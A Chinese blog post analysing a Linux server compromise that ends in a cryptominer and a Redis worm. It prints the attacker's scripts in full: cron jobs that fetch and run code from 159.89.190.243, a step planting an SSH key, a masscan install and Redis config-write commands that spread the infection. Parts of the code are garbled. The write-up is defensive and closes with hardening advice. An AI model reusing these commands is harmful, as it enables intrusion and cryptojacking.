记一次完整 的 Linux 被入侵全过程

背景
周一早上刚到办公室，就听到同事说有一台服务器登陆不上了，我也没放在心上，继续边吃早点，边看币价是不是又跌了。不一会运维的同事也到了，气喘吁吁的说：我们有台服务器被阿里云冻结了，理由：对外恶意发包。我放下酸菜馅的包子，ssh连了一下，被拒绝了，问了下默认的22端口被封了。让运维的同事把端口改了一下，立马连上去，顺便看了一下登录名:root，还有不足8位的小白密码，心里一凉：被黑了！
查找线索
服务器系统CentOS 6.X，部署了nginx，tomcat，redis等应用，上来先把数据库全备份到本地，然后top命令看了一下，有2个99%的同名进程还在运行，叫gpg-agentd。

google了一下gpg，结果是：
GPG提供的gpg-agent提供了对SSH协议的支持，这个功能可以大大简化密钥的管理工作。
看起来像是一个很正经的程序嘛，但仔细再看看服务器上的进程后面还跟着一个字母d，伪装的很好，让人想起来windows上各种看起来像svchost.exe的病毒。继续
ps eho command -p 23374netstat -pan | grep 23374
查看pid:23374进程启动路径和网络状况，也就是来到了图1的目录，到此已经找到了黑客留下的二进制可执行文件。接下来还有2个问题在等着我：
1、文件是怎么上传的？
2、这个文件的目的是什么，或是黑客想干嘛？
history看一下，记录果然都被清掉了，没留下任何痕迹。继续命令more messages，

看到了在半夜12点左右，在服务器上装了很多软件，其中有几个软件引起了我的注意，下面详细讲。边找边猜，如果我们要做坏事，大概会在哪里做文章，自动启动？定时启动？对，计划任务。
crontab -e

果然，线索找到了。
作案动机
上面的计划任务的意思就是每15分钟去服务器上下载一个脚本，并且执行这个脚本。我们把脚本下载下来看一下。
curl -fsSL 159.89.190.243/ash.php > ash.sh
脚本内容如下：
uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keysecho '/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
大致分析一下该脚本的主要用途：
首先是关闭SELinux，解除shell资源访问限制，然后在/root/.ssh/authorized_keys文件中生成ssh公钥，这样每次黑客登录这台服务器就可以免密码登录了，执行脚本就会方便很多，关于ssh keys的文章可以参考这一篇文章SSH原理与运用。接下来安装bash，最后是继续下载第二个脚本bsh.php，并且执行。
继续下载并分析bsh.pbp，内容如下：
sleep 1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print (command -v masscan)" ]; thenrm -rf /var/lib/apt/lists/rm -rf x1.tar.gzif [ -x "%22%20%5D%3B%20thenexport%20DEBIAN_FRONTEND%3Dnoninteractiveapt-get%20update%20-yapt-get%20install%20-y%20debconf-docapt-get%20install%20-y%20build-essentialapt-get%20install%20-y%20libpcap0.8-dev%20libpcap0.8apt-get%20install%20-y%20libpcapapt-get%20install%20-y%20make%20gcc%20gitapt-get%20install%20-y%20redis-serverapt-get%20install%20-y%20redis-toolsapt-get%20install%20-y%20redisapt-get%20install%20-y%20iptablesapt-get%20install%20-y%20wget%20curlfiif%20%5B%20-x%20%22&preview=true)(command -v yum)" ]; thenyum update -yyum install -y epel-releaseyum update -yyum install -y git iptables make gcc redis libpcap libpcap-develyum install -y wget curlfisleep 1curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep 1[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4fisleep 3 && rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null
这段脚本的代码比较长，但主要的功能有4个：

1. 下载远程代码到本地，添加执行权限，chmod u+x。
2. 修改rc.local，让本地代码开机自动执行。
3. 下载github上的开源扫描器代码，并安装相关的依赖软件，也就是我上面的messages里看到的记录。
4. 下载第三个脚本，并且执行。
   我去github上看了下这个开源代码，简直吊炸天。
   MASSCAN: Mass IP port scanner
   This is the fastest Internet port
   scanner. It can scan the entire Internet in under 6 minutes, >
   transmitting 10 million packets per second.
   It produces results similar to nmap, the most famous port scanner.
   Internally, it operates more > like scanrand, unicornscan, and ZMap,
   using asynchronous transmission. The major difference is > that it's
   faster than these other scanners. In addition, it's more flexible,
   allowing arbitrary > address ranges and port ranges.
   NOTE: masscan uses a custom TCP/IP stack. Anything other than simple
   port scans will cause conflict with the local TCP/IP stack. This means
   you need to either use the -S option to use a separate IP address, or
   configure your operating system to firewall the ports that masscan uses.
   transmitting 10 million packets per second(每秒发送1000万个数据包)，比nmap速度还要快，这就不难理解为什么阿里云把服务器冻结了，大概看了下readme之后，我也没有细究，继续下载第三个脚本。
   setenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000sleep 1iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/nulliptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/nullsleep 1rm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo 'config set dbfilename "backup.db"' > .datecho 'save' >> .datecho 'flushall' >> .datecho 'set backup1 "

*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
请在这里输入引用内容
"' >> .datecho 'set backup2 "
请在这里输入引用内容
请在这里输入引用内容
*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
请在这里输入引用内容
"' >> .datecho 'set backup3 "
请在这里输入引用内容
请在这里输入引用内容
*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
请在这里输入引用内容
"' >> .datecho 'set backup4 "
请在这里输入引用内容
请在这里输入引用内容
*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
请在这里输入引用内容
.datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard 6, substr()-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h p --raw 2>/dev/null 1>/dev/null &done /dev/null | awk '{print 4, 1, length()-4)%7D'%20%7C%20sort%20%7C%20uniq%20%3E%20.rangessleep%201while%20read%20-r%20h%20p%3B%20docat%20.dat%20%7C%20redis-cli%20-h%20&preview=true)h -p 6, substr()-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h p --raw 2>/dev/null 1>/dev/null &done /dev/null
如果说前两个脚本只是在服务器上下载执行了二进制文件，那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。
一开始的修改系统环境没什么好说的，接下来的写文件操作有点眼熟，如果用过redis的人，应该能猜到，这里是对redis进行配置。写这个配置，自然也就是利用了redis把缓存内容写入本地文件的漏洞，结果就是用本地的私钥去登陆被写入公钥的服务器了，无需密码就可以登陆，也就是我们文章最开始的/root/.ssh/authorized_keys。登录之后就开始定期执行计划任务，下载脚本。好了，配置文件准备好了，就开始利用masscan进行全网扫描redis服务器，寻找肉鸡，注意看这6379就是redis服务器的默认端口，如果你的redis的监听端口是公网IP或是0.0.0.0，并且没有密码保护，不好意思，你就中招了。
总结
通过依次分析这3个脚本，就能看出这个病毒的可怕之处，先是通过写入ssh public key 拿到登录权限，然后下载执行远程二进制文件，最后再通过redis漏洞复制，迅速在全网传播，以指数级速度增长。那么问题是，这台服务器是怎么中招的呢？看了下redis.conf，bind的地址是127.0.0.1，没啥问题。由此可以推断，应该是root帐号被暴力破解了，为了验证我的想法，我lastb看了一下，果然有大量的记录：

还剩最后一个问题，这个gpg-agentd程序到底是干什么的呢？我当时的第一个反应就是矿机，因为现在数字货币太火了，加大了分布式矿机的需求，也就催生了这条灰色产业链。于是，顺手把这个gpg-agentd拖到ida中，用string搜索bitcoin,eth, mine等相关单词，最终发现了这个：

打开 nicehash.com 看一下，一切都清晰了。

安全建议
一、服务器

1. 禁用ROOT
2. 用户名和密码尽量复杂
3. 修改ssh的默认22端口
4. 安装DenyHosts防暴力破解软件
5. 禁用密码登录，使用RSA公钥登录
   二、redis
6. 禁用公网IP监听，包括0.0.0.0
7. 使用密码限制访问redis
8. 使用较低权限帐号运行redis
   到此，整个入侵过程基本分析完了，如果大家对样本有兴趣，也可以自行去curl，或是去虚拟机执行上面的脚本。鉴于本人能力有限，文中难免会出现疏忽或是错误，还请大家多多指正。

   小神已经为大家准备好本篇内容的干货
   安装包+文档+配套视频
   有需要的小伙伴请添加微信即可